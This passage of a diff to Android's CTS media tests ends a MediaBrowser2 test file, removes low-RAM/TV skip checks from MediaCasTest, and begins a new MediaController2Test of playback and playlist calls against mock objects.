+        MediaBrowser2 browser = (MediaBrowser2) createController(token, true, callback);
+        browser.search(query, extras);
+        assertTrue(latchForSearch.await(WAIT_TIME_MS, TimeUnit.MILLISECONDS));
+
+        // Get the search result.
+        browser.getSearchResult(query, page, pageSize, extras);
+        assertTrue(latchForGetSearchResult.await(WAIT_TIME_MS, TimeUnit.MILLISECONDS));
+    }
+
+    @Test
+    public void testSearchTakesTime() throws InterruptedException {
+        final String query = MockMediaLibraryService2.SEARCH_QUERY_TAKES_TIME;
+        final Bundle extras = new Bundle();
+        extras.putString(TAG, TAG);
+
+        final CountDownLatch latch = new CountDownLatch(1);
+        final BrowserCallback callback = new BrowserCallback() {
+            @Override
+            public void onSearchResultChanged(
+                    MediaBrowser2 browser, String queryOut, int itemCount, Bundle extrasOut) {
+                assertEquals(query, queryOut);
+                assertTrue(TestUtils.equals(extras, extrasOut));
+                assertEquals(MockMediaLibraryService2.SEARCH_RESULT_COUNT, itemCount);
+                latch.countDown();
+            }
+        };
+
+        final SessionToken2 token = MockMediaLibraryService2.getToken(mContext);
+        MediaBrowser2 browser = (MediaBrowser2) createController(token, true, callback);
+        browser.search(query, extras);
+        assertTrue(latch.await(
+                MockMediaLibraryService2.SEARCH_TIME_IN_MS + WAIT_TIME_MS, TimeUnit.MILLISECONDS));
+    }
+
+    @Test
+    public void testSearchEmptyResult() throws InterruptedException {
+        final String query = MockMediaLibraryService2.SEARCH_QUERY_EMPTY_RESULT;
+        final Bundle extras = new Bundle();
+        extras.putString(TAG, TAG);
+
+        final CountDownLatch latch = new CountDownLatch(1);
+        final BrowserCallback callback = new BrowserCallback() {
+            @Override
+            public void onSearchResultChanged(
+                    MediaBrowser2 browser, String queryOut, int itemCount, Bundle extrasOut) {
+                assertEquals(query, queryOut);
+                assertTrue(TestUtils.equals(extras, extrasOut));
+                assertEquals(0, itemCount);
+                latch.countDown();
+            }
+        };
+
+        final SessionToken2 token = MockMediaLibraryService2.getToken(mContext);
+        MediaBrowser2 browser = (MediaBrowser2) createController(token, true, callback);
+        browser.search(query, extras);
+        assertTrue(latch.await(WAIT_TIME_MS, TimeUnit.MILLISECONDS));
+    }
+
+    @Test
+    public void testSubscribe() throws InterruptedException {
+        final String testParentId = "testSubscribeId";
+        final Bundle testExtras = new Bundle();
+        testExtras.putString(testParentId, testParentId);
+
+        final CountDownLatch latch = new CountDownLatch(1);
+        final MediaLibrarySessionCallback callback = new MediaLibrarySessionCallback() {
+            @Override
+            public void onSubscribe(@NonNull MediaLibrarySession session,
+                    @NonNull ControllerInfo info, @NonNull String parentId,
+                    @Nullable Bundle extras) {
+                if (Process.myUid() == info.getUid()) {
+                    assertEquals(testParentId, parentId);
+                    assertTrue(TestUtils.equals(testExtras, extras));
+                    latch.countDown();
+                }
+            }
+        };
+        TestServiceRegistry.getInstance().setSessionCallback(callback);
+        final SessionToken2 token = MockMediaLibraryService2.getToken(mContext);
+        MediaBrowser2 browser = (MediaBrowser2) createController(token);
+        browser.subscribe(testParentId, testExtras);
+        assertTrue(latch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+    }
+
+    @Ignore
+    @Test
+    public void testUnsubscribe() throws InterruptedException {
+        final String testParentId = "testUnsubscribeId";
+        final CountDownLatch latch = new CountDownLatch(1);
+        final MediaLibrarySessionCallback callback = new MediaLibrarySessionCallback() {
+            @Override
+            public void onUnsubscribe(@NonNull MediaLibrarySession session,
+                    @NonNull ControllerInfo info, @NonNull String parentId) {
+                if (Process.myUid() == info.getUid()) {
+                    assertEquals(testParentId, parentId);
+                    latch.countDown();
+                }
+            }
+        };
+        TestServiceRegistry.getInstance().setSessionCallback(callback);
+        final SessionToken2 token = MockMediaLibraryService2.getToken(mContext);
+        MediaBrowser2 browser = (MediaBrowser2) createController(token);
+        browser.unsubscribe(testParentId);
+        assertTrue(latch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+    }
+
+    @Test
+    public void testBrowserCallback_notifyChildrenChanged() throws InterruptedException {
+        // TODO(jaewan): Add test for the notifyChildrenChanged itself.
+        final String testParentId1 = "testBrowserCallback_notifyChildrenChanged_unexpectedParent";
+        final String testParentId2 = "testBrowserCallback_notifyChildrenChanged";
+        final int testChildrenCount = 101;
+        final Bundle testExtras = new Bundle();
+        testExtras.putString(testParentId1, testParentId1);
+
+        final CountDownLatch latch = new CountDownLatch(3);
+        final MediaLibrarySessionCallback sessionCallback =
+                new MediaLibrarySessionCallback() {
+                    @Override
+                    public SessionCommandGroup2 onConnect(@NonNull MediaSession2 session,
+                            @NonNull ControllerInfo controller) {
+                        if (Process.myUid() == controller.getUid()) {
+                            assertTrue(session instanceof MediaLibrarySession);
+                            if (mSession != null) {
+                                mSession.close();
+                            }
+                            mSession = session;
+                            // Shouldn't trigger onChildrenChanged() for the browser, because it
+                            // hasn't subscribed.
+                            ((MediaLibrarySession) session).notifyChildrenChanged(
+                                    testParentId1, testChildrenCount, null);
+                            ((MediaLibrarySession) session).notifyChildrenChanged(
+                                    controller, testParentId1, testChildrenCount, null);
+                        }
+                        return super.onConnect(session, controller);
+                    }
+
+                    @Override
+                    public void onSubscribe(@NonNull MediaLibrarySession session,
+                            @NonNull ControllerInfo info, @NonNull String parentId,
+                            @Nullable Bundle extras) {
+                        if (Process.myUid() == info.getUid()) {
+                            session.notifyChildrenChanged(testParentId2, testChildrenCount, null);
+                            session.notifyChildrenChanged(info, testParentId2, testChildrenCount,
+                                    testExtras);
+                        }
+                    }
+        };
+        final BrowserCallback controllerCallbackProxy =
+                new BrowserCallback() {
+                    @Override
+                    public void onChildrenChanged(MediaBrowser2 browser, String parentId,
+                            int itemCount, Bundle extras) {
+                        switch ((int) latch.getCount()) {
+                            case 3:
+                                assertEquals(testParentId2, parentId);
+                                assertEquals(testChildrenCount, itemCount);
+                                assertNull(extras);
+                                latch.countDown();
+                                break;
+                            case 2:
+                                assertEquals(testParentId2, parentId);
+                                assertEquals(testChildrenCount, itemCount);
+                                assertTrue(TestUtils.equals(testExtras, extras));
+                                latch.countDown();
+                                break;
+                            default:
+                                // Unexpected call.
+                                fail();
+                        }
+                    }
+                };
+        TestServiceRegistry.getInstance().setSessionCallback(sessionCallback);
+        final SessionToken2 token = MockMediaLibraryService2.getToken(mContext);
+        final MediaBrowser2 browser = (MediaBrowser2) createController(
+                token, true, controllerCallbackProxy);
+        assertTrue(mSession instanceof MediaLibrarySession);
+        browser.subscribe(testParentId2, null);
+        // This ensures that onChildrenChanged() is only called for the expected reasons.
+        assertFalse(latch.await(WAIT_TIME_MS, TimeUnit.MILLISECONDS));
+    }
+
+    public static class TestBrowserCallback extends BrowserCallback
+            implements WaitForConnectionInterface {
+        private final ControllerCallback mCallbackProxy;
+        public final CountDownLatch connectLatch = new CountDownLatch(1);
+        public final CountDownLatch disconnectLatch = new CountDownLatch(1);
+
+        TestBrowserCallback(ControllerCallback callbackProxy) {
+            if (callbackProxy == null) {
+                throw new IllegalArgumentException("Callback proxy shouldn't be null. Test bug");
+            }
+            mCallbackProxy = callbackProxy;
+        }
+
+        @CallSuper
+        @Override
+        public void onConnected(MediaController2 controller, SessionCommandGroup2 commands) {
+            connectLatch.countDown();
+        }
+
+        @CallSuper
+        @Override
+        public void onDisconnected(MediaController2 controller) {
+            disconnectLatch.countDown();
+        }
+
+        @Override
+        public void waitForConnect(boolean expect) throws InterruptedException {
+            if (expect) {
+                assertTrue(connectLatch.await(WAIT_TIME_MS, TimeUnit.MILLISECONDS));
+            } else {
+                assertFalse(connectLatch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+            }
+        }
+
+        @Override
+        public void waitForDisconnect(boolean expect) throws InterruptedException {
+            if (expect) {
+                assertTrue(disconnectLatch.await(WAIT_TIME_MS, TimeUnit.MILLISECONDS));
+            } else {
+                assertFalse(disconnectLatch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+            }
+        }
+
+        @Override
+        public void onPlaybackInfoChanged(MediaController2 controller,
+                MediaController2.PlaybackInfo info) {
+            mCallbackProxy.onPlaybackInfoChanged(controller, info);
+        }
+
+        @Override
+        public void onCustomCommand(MediaController2 controller, SessionCommand2 command,
+                Bundle args, ResultReceiver receiver) {
+            mCallbackProxy.onCustomCommand(controller, command, args, receiver);
+        }
+
+        @Override
+        public void onCustomLayoutChanged(MediaController2 controller, List<CommandButton> layout) {
+            mCallbackProxy.onCustomLayoutChanged(controller, layout);
+        }
+
+        @Override
+        public void onAllowedCommandsChanged(MediaController2 controller,
+                SessionCommandGroup2 commands) {
+            mCallbackProxy.onAllowedCommandsChanged(controller, commands);
+        }
+
+        @Override
+        public void onPlayerStateChanged(MediaController2 controller, int state) {
+            mCallbackProxy.onPlayerStateChanged(controller, state);
+        }
+
+        @Override
+        public void onSeekCompleted(MediaController2 controller, long position) {
+            mCallbackProxy.onSeekCompleted(controller, position);
+        }
+
+        @Override
+        public void onPlaybackSpeedChanged(MediaController2 controller, float speed) {
+            mCallbackProxy.onPlaybackSpeedChanged(controller, speed);
+        }
+
+        @Override
+        public void onBufferingStateChanged(MediaController2 controller, MediaItem2 item,
+                int state) {
+            mCallbackProxy.onBufferingStateChanged(controller, item, state);
+        }
+
+        @Override
+        public void onError(MediaController2 controller, int errorCode, Bundle extras) {
+            mCallbackProxy.onError(controller, errorCode, extras);
+        }
+
+        @Override
+        public void onCurrentMediaItemChanged(MediaController2 controller, MediaItem2 item) {
+            mCallbackProxy.onCurrentMediaItemChanged(controller, item);
+        }
+
+        @Override
+        public void onPlaylistChanged(MediaController2 controller,
+                List<MediaItem2> list, MediaMetadata2 metadata) {
+            mCallbackProxy.onPlaylistChanged(controller, list, metadata);
+        }
+
+        @Override
+        public void onPlaylistMetadataChanged(MediaController2 controller,
+                MediaMetadata2 metadata) {
+            mCallbackProxy.onPlaylistMetadataChanged(controller, metadata);
+        }
+
+        @Override
+        public void onShuffleModeChanged(MediaController2 controller, int shuffleMode) {
+            mCallbackProxy.onShuffleModeChanged(controller, shuffleMode);
+        }
+
+        @Override
+        public void onRepeatModeChanged(MediaController2 controller, int repeatMode) {
+            mCallbackProxy.onRepeatModeChanged(controller, repeatMode);
+        }
+
+        @Override
+        public void onGetLibraryRootDone(MediaBrowser2 browser, Bundle rootHints,
+                String rootMediaId, Bundle rootExtra) {
+            super.onGetLibraryRootDone(browser, rootHints, rootMediaId, rootExtra);
+            if (mCallbackProxy instanceof BrowserCallback) {
+                ((BrowserCallback) mCallbackProxy)
+                        .onGetLibraryRootDone(browser, rootHints, rootMediaId, rootExtra);
+            }
+        }
+
+        @Override
+        public void onGetItemDone(MediaBrowser2 browser, String mediaId, MediaItem2 result) {
+            super.onGetItemDone(browser, mediaId, result);
+            if (mCallbackProxy instanceof BrowserCallback) {
+                ((BrowserCallback) mCallbackProxy).onGetItemDone(browser, mediaId, result);
+            }
+        }
+
+        @Override
+        public void onGetChildrenDone(MediaBrowser2 browser, String parentId, int page,
+                int pageSize, List<MediaItem2> result, Bundle extras) {
+            super.onGetChildrenDone(browser, parentId, page, pageSize, result, extras);
+            if (mCallbackProxy instanceof BrowserCallback) {
+                ((BrowserCallback) mCallbackProxy)
+                        .onGetChildrenDone(browser, parentId, page, pageSize, result, extras);
+            }
+        }
+
+        @Override
+        public void onSearchResultChanged(MediaBrowser2 browser, String query, int itemCount,
+                Bundle extras) {
+            super.onSearchResultChanged(browser, query, itemCount, extras);
+            if (mCallbackProxy instanceof BrowserCallback) {
+                ((BrowserCallback) mCallbackProxy)
+                        .onSearchResultChanged(browser, query, itemCount, extras);
+            }
+        }
+
+        @Override
+        public void onGetSearchResultDone(MediaBrowser2 browser, String query, int page,
+                int pageSize, List<MediaItem2> result, Bundle extras) {
+            super.onGetSearchResultDone(browser, query, page, pageSize, result, extras);
+            if (mCallbackProxy instanceof BrowserCallback) {
+                ((BrowserCallback) mCallbackProxy)
+                        .onGetSearchResultDone(browser, query, page, pageSize, result, extras);
+            }
+        }
+
+        @Override
+        public void onChildrenChanged(MediaBrowser2 browser, String parentId, int itemCount,
+                Bundle extras) {
+            super.onChildrenChanged(browser, parentId, itemCount, extras);
+            if (mCallbackProxy instanceof BrowserCallback) {
+                ((BrowserCallback) mCallbackProxy)
+                        .onChildrenChanged(browser, parentId, itemCount, extras);
+            }
+        }
+    }
+
+    public class TestMediaBrowser extends MediaBrowser2 implements TestControllerInterface {
+        private final BrowserCallback mCallback;
+
+        public TestMediaBrowser(@NonNull Context context, @NonNull SessionToken2 token,
+                @NonNull ControllerCallback callback) {
+            super(context, token, sHandlerExecutor, (BrowserCallback) callback);
+            mCallback = (BrowserCallback) callback;
+        }
+
+        @Override
+        public BrowserCallback getCallback() {
+            return mCallback;
+        }
+    }
+}
diff --git a/tests/tests/media/src/android/media/cts/MediaCasTest.java b/tests/tests/media/src/android/media/cts/MediaCasTest.java
index f28613a..692542d 100644
--- a/tests/tests/media/src/android/media/cts/MediaCasTest.java
+++ b/tests/tests/media/src/android/media/cts/MediaCasTest.java
@@ -16,9 +16,6 @@
 
 package android.media.cts;
 
-import android.content.Context;
-import android.app.ActivityManager;
-import android.content.pm.PackageManager;
 import android.media.MediaCas;
 import android.media.MediaCas.PluginDescriptor;
 import android.media.MediaCas.Session;
@@ -154,10 +151,6 @@
      * be instantiated.
      */
     public void testEnumeratePlugins() throws Exception {
-        if (isLowRam() && !isTV()){
-           Log.d(TAG, "Skipping testEnumetaePlugins.");
-           return;
-        }
         PluginDescriptor[] descriptors = MediaCas.enumeratePlugins();
         for (int i = 0; i < descriptors.length; i++) {
             Log.d(TAG, "desciptor[" + i + "]: id=" + descriptors[i].getSystemId()
@@ -200,10 +193,6 @@
     }
 
     public void testInvalidSystemIdFails() throws Exception {
-        if (isLowRam() && !isTV()){
-           Log.d(TAG, "Skipping testInvalidSystemIdFails.");
-           return;
-        }
         assertFalse("Invalid id " + sInvalidSystemId + " should not be supported",
                 MediaCas.isSystemIdSupported(sInvalidSystemId));
 
@@ -235,10 +224,6 @@
     }
 
     public void testClearKeyPluginInstalled() throws Exception {
-        if (isLowRam() && !isTV()){
-           Log.d(TAG, "Skipping testClearKeyPluginInstalled.");
-           return;
-        }
         PluginDescriptor[] descriptors = MediaCas.enumeratePlugins();
         for (int i = 0; i < descriptors.length; i++) {
             if (descriptors[i].getSystemId() == sClearKeySystemId) {
@@ -252,10 +237,6 @@
      * Test that valid call sequences succeed.
      */
     public void testClearKeyApis() throws Exception {
-        if (isLowRam() && !isTV()){
-           Log.d(TAG, "Skipping testClearKeyApis.");
-           return;
-        }
         MediaCas mediaCas = null;
         MediaDescrambler descrambler = null;
 
@@ -335,10 +316,6 @@
      * Test that all sessions are closed after a MediaCas object is released.
      */
     public void testClearKeySessionClosedAfterRelease() throws Exception {
-        if (isLowRam() && !isTV()){
-           Log.d(TAG, "Skipping testClearKeySessionClosedAfterRelease.");
-           return;
-        }
         MediaCas mediaCas = null;
         MediaDescrambler descrambler = null;
 
@@ -388,10 +365,6 @@
      * Test that invalid call sequences fail with expected exceptions.
      */
     public void testClearKeyExceptions() throws Exception {
-        if (isLowRam() && !isTV()){
-           Log.d(TAG, "Skipping testClearKeyExceptions.");
-           return;
-        }
         MediaCas mediaCas = null;
         MediaDescrambler descrambler = null;
 
@@ -588,13 +561,4 @@
         }
         return Arrays.copyOfRange(tempArray, 0, i);
     }
-
-    private boolean isTV() {
-        return mContext.getPackageManager().hasSystemFeature(PackageManager.FEATURE_LEANBACK_ONLY);
-    }
-
-    private boolean isLowRam() {
-        ActivityManager am = (ActivityManager) mContext.getSystemService(Context.ACTIVITY_SERVICE);
-        return am.isLowRamDevice();
-    }
 }
diff --git a/tests/tests/media/src/android/media/cts/MediaController2Test.java b/tests/tests/media/src/android/media/cts/MediaController2Test.java
new file mode 100644
index 0000000..755801d
--- /dev/null
+++ b/tests/tests/media/src/android/media/cts/MediaController2Test.java
@@ -0,0 +1,1132 @@
+/*
+ * Copyright 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.media.cts;
+
+import static junit.framework.Assert.assertEquals;
+
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotEquals;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertNull;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+
+import android.app.PendingIntent;
+import android.content.Intent;
+import android.media.AudioManager;
+import android.media.MediaController2;
+import android.media.MediaController2.ControllerCallback;
+import android.media.MediaItem2;
+import android.media.MediaMetadata2;
+import android.media.MediaPlayerBase;
+import android.media.MediaPlaylistAgent;
+import android.media.MediaSession2;
+import android.media.MediaSession2.ControllerInfo;
+import android.media.MediaSession2.SessionCallback;
+import android.media.Rating2;
+import android.media.SessionCommand2;
+import android.media.SessionCommandGroup2;
+import android.media.SessionToken2;
+import android.media.VolumeProvider2;
+import android.media.cts.TestServiceRegistry.SessionServiceCallback;
+import android.media.cts.TestUtils.SyncHandler;
+import android.net.Uri;
+import android.os.Bundle;
+import android.os.Handler;
+import android.os.HandlerThread;
+import android.os.Process;
+import android.os.ResultReceiver;
+
+import androidx.annotation.NonNull;
+import androidx.test.filters.FlakyTest;
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Ignore;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.lang.reflect.Method;
+import java.util.List;
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
+import java.util.concurrent.atomic.AtomicReference;
+
+/**
+ * Tests {@link MediaController2}.
+ */
+// TODO(jaewan): Implement host-side test so controller and session can run in different processes.
+// TODO(jaewan): Fix flaky failure -- see MediaController2Impl.getController()
+// TODO(jaeawn): Revisit create/close session in the sHandler. It's no longer necessary.
+@RunWith(AndroidJUnit4.class)
+@SmallTest
+@FlakyTest
+@Ignore
+public class MediaController2Test extends MediaSession2TestBase {
+    private static final String TAG = "MediaController2Test";
+
+    PendingIntent mIntent;
+    MediaSession2 mSession;
+    MediaController2 mController;
+    MockPlayer mPlayer;
+    MockPlaylistAgent mMockAgent;
+
+    @Before
+    @Override
+    public void setUp() throws Exception {
+        super.setUp();
+        final Intent sessionActivity = new Intent(mContext, MockActivity.class);
+        // Create this test specific MediaSession2 to use our own Handler.
+        mIntent = PendingIntent.getActivity(mContext, 0, sessionActivity, 0);
+
+        mPlayer = new MockPlayer(1);
+        mMockAgent = new MockPlaylistAgent();
+        mSession = new MediaSession2.Builder(mContext)
+                .setPlayer(mPlayer)
+                .setPlaylistAgent(mMockAgent)
+                .setSessionCallback(sHandlerExecutor, new SessionCallback() {
+                    @Override
+                    public SessionCommandGroup2 onConnect(MediaSession2 session,
+                            ControllerInfo controller) {
+                        if (Process.myUid() == controller.getUid()) {
+                            return super.onConnect(session, controller);
+                        }
+                        return null;
+                    }
+
+                    @Override
+                    public void onPlaylistMetadataChanged(MediaSession2 session,
+                            MediaPlaylistAgent playlistAgent,
+                            MediaMetadata2 metadata) {
+                        super.onPlaylistMetadataChanged(session, playlistAgent, metadata);
+                    }
+                })
+                .setSessionActivity(mIntent)
+                .setId(TAG).build();
+        mController = createController(mSession.getToken());
+        TestServiceRegistry.getInstance().setHandler(sHandler);
+    }
+
+    @After
+    @Override
+    public void cleanUp() throws Exception {
+        super.cleanUp();
+        if (mSession != null) {
+            mSession.close();
+        }
+        TestServiceRegistry.getInstance().cleanUp();
+    }
+
+    /**
+     * Test if the {@link MediaSession2TestBase.TestControllerCallback} wraps the callback proxy
+     * without missing any method.
+     */
+    @Test
+    public void testTestControllerCallback() {
+        Method[] methods = TestControllerCallback.class.getMethods();
+        assertNotNull(methods);
+        for (int i = 0; i < methods.length; i++) {
+            // For any methods in the controller callback, TestControllerCallback should have
+            // overriden the method and call matching API in the callback proxy.
+            assertNotEquals("TestControllerCallback should override " + methods[i]
+                            + " and call callback proxy",
+                    ControllerCallback.class, methods[i].getDeclaringClass());
+        }
+    }
+
+    @Test
+    public void testPlay() {
+        mController.play();
+        try {
+            assertTrue(mPlayer.mCountDownLatch.await(WAIT_TIME_MS, TimeUnit.MILLISECONDS));
+        } catch (InterruptedException e) {
+            fail(e.getMessage());
+        }
+        assertTrue(mPlayer.mPlayCalled);
+    }
+
+    @Test
+    public void testPause() {
+        mController.pause();
+        try {
+            assertTrue(mPlayer.mCountDownLatch.await(WAIT_TIME_MS, TimeUnit.MILLISECONDS));
+        } catch (InterruptedException e) {
+            fail(e.getMessage());
+        }
+        assertTrue(mPlayer.mPauseCalled);
+    }
+
+    @Ignore
+    @Test
+    public void testStop() {
+        mController.stop();
+        try {
+            assertTrue(mPlayer.mCountDownLatch.await(WAIT_TIME_MS, TimeUnit.MILLISECONDS));
+        } catch (InterruptedException e) {
+            fail(e.getMessage());
+        }
+        assertTrue(mPlayer.mStopCalled);
+    }
+
+    @Test
+    public void testPrepare() {
+        mController.prepare();
+        try {
+            assertTrue(mPlayer.mCountDownLatch.await(WAIT_TIME_MS, TimeUnit.MILLISECONDS));
+        } catch (InterruptedException e) {
+            fail(e.getMessage());
+        }
+        assertTrue(mPlayer.mPrepareCalled);
+    }
+
+    @Test
+    public void testFastForward() {
+        // TODO(jaewan): Implement
+    }
+
+    @Test
+    public void testRewind() {
+        // TODO(jaewan): Implement
+    }
+
+    @Test
+    public void testSeekTo() {
+        final long seekPosition = 12125L;
+        mController.seekTo(seekPosition);
+        try {
+            assertTrue(mPlayer.mCountDownLatch.await(WAIT_TIME_MS, TimeUnit.MILLISECONDS));
+        } catch (InterruptedException e) {
+            fail(e.getMessage());
+        }
+        assertTrue(mPlayer.mSeekToCalled);
+        assertEquals(seekPosition, mPlayer.mSeekPosition);
+    }
+
+    @Test
+    public void testGettersAfterConnected() throws InterruptedException {
+        final int state = MediaPlayerBase.PLAYER_STATE_PLAYING;
+        final long position = 150000;
+        final long bufferedPosition = 900000;
+
+        mPlayer.mLastPlayerState = state;
+        mPlayer.mCurrentPosition = position;
+        mPlayer.mBufferedPosition = bufferedPosition;
+
+        MediaController2 controller = createController(mSession.getToken());
+        assertEquals(state, controller.getPlayerState());
+        assertEquals(bufferedPosition, controller.getBufferedPosition());
+        // TODO (jaewan): Enable this test when Session2/Controller2's get(set)PlaybackSpeed
+        //                is implemented. (b/74093080)
+        //assertEquals(speed, controller.getPlaybackSpeed());
+        //assertEquals(position + speed * elapsedTime, controller.getPosition(), delta);
+    }
+
+    @Test
+    public void testGetSessionActivity() {
+        PendingIntent sessionActivity = mController.getSessionActivity();
+        assertEquals(mContext.getPackageName(), sessionActivity.getCreatorPackage());
+        assertEquals(Process.myUid(), sessionActivity.getCreatorUid());
+    }
+
+    @Test
+    public void testSetPlaylist() throws InterruptedException {
+        final List<MediaItem2> list = TestUtils.createPlaylist(2);
+        mController.setPlaylist(list, null /* Metadata */);
+        assertTrue(mMockAgent.mCountDownLatch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+
+        assertTrue(mMockAgent.mSetPlaylistCalled);
+        assertNull(mMockAgent.mMetadata);
+
+        assertNotNull(mMockAgent.mPlaylist);
+        assertEquals(list.size(), mMockAgent.mPlaylist.size());
+        for (int i = 0; i < list.size(); i++) {
+            // MediaController2.setPlaylist does not ensure the equality of the items.
+            assertEquals(list.get(i).getMediaId(), mMockAgent.mPlaylist.get(i).getMediaId());
+        }
+    }
+
+    /**
+     * This also tests {@link ControllerCallback#onPlaylistChanged(
+     * MediaController2, List, MediaMetadata2)}.
+     */
+    @Test
+    public void testGetPlaylist() throws InterruptedException {
+        final List<MediaItem2> testList = TestUtils.createPlaylist(2);
+        final AtomicReference<List<MediaItem2>> listFromCallback = new AtomicReference<>();
+        final CountDownLatch latch = new CountDownLatch(1);
+        final ControllerCallback callback = new ControllerCallback() {
+            @Override
+            public void onPlaylistChanged(MediaController2 controller,
+                    List<MediaItem2> playlist, MediaMetadata2 metadata) {
+                assertNotNull(playlist);
+                assertEquals(testList.size(), playlist.size());
+                for (int i = 0; i < playlist.size(); i++) {
+                    assertEquals(testList.get(i).getMediaId(), playlist.get(i).getMediaId());
+                }
+                listFromCallback.set(playlist);
+                latch.countDown();
+            }
+        };
+        final MediaPlaylistAgent agent = new MediaPlaylistAgent() {
+            @Override
+            public List<MediaItem2> getPlaylist() {
+                return testList;
+            }
+        };
+        try (final MediaSession2 session = new MediaSession2.Builder(mContext)
+                .setPlayer(mPlayer)
+                .setId("testControllerCallback_onPlaylistChanged")
+                .setSessionCallback(sHandlerExecutor, new SessionCallback() {})
+                .setPlaylistAgent(agent)
+                .build()) {
+            MediaController2 controller = createController(
+                    session.getToken(), true, callback);
+            agent.notifyPlaylistChanged();
+            assertTrue(latch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+            assertEquals(listFromCallback.get(), controller.getPlaylist());
+        }
+    }
+
+    @Test
+    public void testUpdatePlaylistMetadata() throws InterruptedException {
+        final MediaMetadata2 testMetadata = TestUtils.createMetadata();
+        mController.updatePlaylistMetadata(testMetadata);
+        assertTrue(mMockAgent.mCountDownLatch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+
+        assertTrue(mMockAgent.mUpdatePlaylistMetadataCalled);
+        assertNotNull(mMockAgent.mMetadata);
+        assertEquals(testMetadata.getMediaId(), mMockAgent.mMetadata.getMediaId());
+    }
+
+    @Test
+    public void testGetPlaylistMetadata() throws InterruptedException {
+        final MediaMetadata2 testMetadata = TestUtils.createMetadata();
+        final AtomicReference<MediaMetadata2> metadataFromCallback = new AtomicReference<>();
+        final CountDownLatch latch = new CountDownLatch(1);
+        final ControllerCallback callback = new ControllerCallback() {
+            @Override
+            public void onPlaylistMetadataChanged(MediaController2 controller,
+                    MediaMetadata2 metadata) {
+                assertNotNull(testMetadata);
+                assertEquals(testMetadata.getMediaId(), metadata.getMediaId());
+                metadataFromCallback.set(metadata);
+                latch.countDown();
+            }
+        };
+        final MediaPlaylistAgent agent = new MediaPlaylistAgent() {
+            @Override
+            public MediaMetadata2 getPlaylistMetadata() {
+                return testMetadata;
+            }
+        };
+        try (final MediaSession2 session = new MediaSession2.Builder(mContext)
+                .setPlayer(mPlayer)
+                .setId("testGetPlaylistMetadata")
+                .setSessionCallback(sHandlerExecutor, new SessionCallback() {})
+                .setPlaylistAgent(agent)
+                .build()) {
+            MediaController2 controller = createController(session.getToken(), true, callback);
+            agent.notifyPlaylistMetadataChanged();
+            assertTrue(latch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+            assertEquals(metadataFromCallback.get().getMediaId(),
+                    controller.getPlaylistMetadata().getMediaId());
+        }
+    }
+
+    /**
+     * Test whether {@link MediaSession2#setPlaylist(List, MediaMetadata2)} is notified
+     * through the
+     * {@link ControllerCallback#onPlaylistMetadataChanged(MediaController2, MediaMetadata2)}
+     * if the controller doesn't have {@link SessionCommand2#COMMAND_CODE_PLAYLIST_GET_LIST} but
+     * {@link SessionCommand2#COMMAND_CODE_PLAYLIST_GET_LIST_METADATA}.
+     */
+    @Test
+    public void testControllerCallback_onPlaylistMetadataChanged() throws InterruptedException {
+        final MediaItem2 item = TestUtils.createMediaItemWithMetadata();
+        final List<MediaItem2> list = TestUtils.createPlaylist(2);
+        final CountDownLatch latch = new CountDownLatch(2);
+        final ControllerCallback callback = new ControllerCallback() {
+            @Override
+            public void onPlaylistMetadataChanged(MediaController2 controller,
+                    MediaMetadata2 metadata) {
+                assertNotNull(metadata);
+                assertEquals(item.getMediaId(), metadata.getMediaId());
+                latch.countDown();
+            }
+        };
+        final SessionCallback sessionCallback = new SessionCallback() {
+            @Override
+            public SessionCommandGroup2 onConnect(MediaSession2 session,
+                    ControllerInfo controller) {
+                if (Process.myUid() == controller.getUid()) {
+                    SessionCommandGroup2 commands = new SessionCommandGroup2();
+                    commands.addCommand(new SessionCommand2(
+                              SessionCommand2.COMMAND_CODE_PLAYLIST_GET_LIST_METADATA));
+                    return commands;
+                }
+                return super.onConnect(session, controller);
+            }
+        };
+        final MediaPlaylistAgent agent = new MediaPlaylistAgent() {
+            @Override
+            public MediaMetadata2 getPlaylistMetadata() {
+                return item.getMetadata();
+            }
+
+            @Override
+            public List<MediaItem2> getPlaylist() {
+                return list;
+            }
+        };
+        try (final MediaSession2 session = new MediaSession2.Builder(mContext)
+                .setPlayer(mPlayer)
+                .setId("testControllerCallback_onPlaylistMetadataChanged")
+                .setSessionCallback(sHandlerExecutor, sessionCallback)
+                .setPlaylistAgent(agent)
+                .build()) {
+            MediaController2 controller = createController(session.getToken(), true, callback);
+            agent.notifyPlaylistMetadataChanged();
+            // It also calls onPlaylistMetadataChanged() if it doesn't have permission for getList()
+            agent.notifyPlaylistChanged();
+            assertTrue(latch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+        }
+    }
+
+    @Test
+    public void testAddPlaylistItem() throws InterruptedException {
+        final int testIndex = 12;
+        final MediaItem2 testMediaItem = TestUtils.createMediaItemWithMetadata();
+        mController.addPlaylistItem(testIndex, testMediaItem);
+        assertTrue(mMockAgent.mCountDownLatch.await(TIMEOUT_MS, TimeUnit.MILLISECONDS));
+
+        assertTrue(mMockAgent.mAddPlaylistItemCalled);
+        assertEquals(testIndex, mMockAgent.mIndex);
+        // MediaController2.addPlaylistItem does not ensure the equality of the items.
+        assertEquals(testMediaItem.getMediaId(), mMockAgent.mItem.getMediaId());
+    }
+
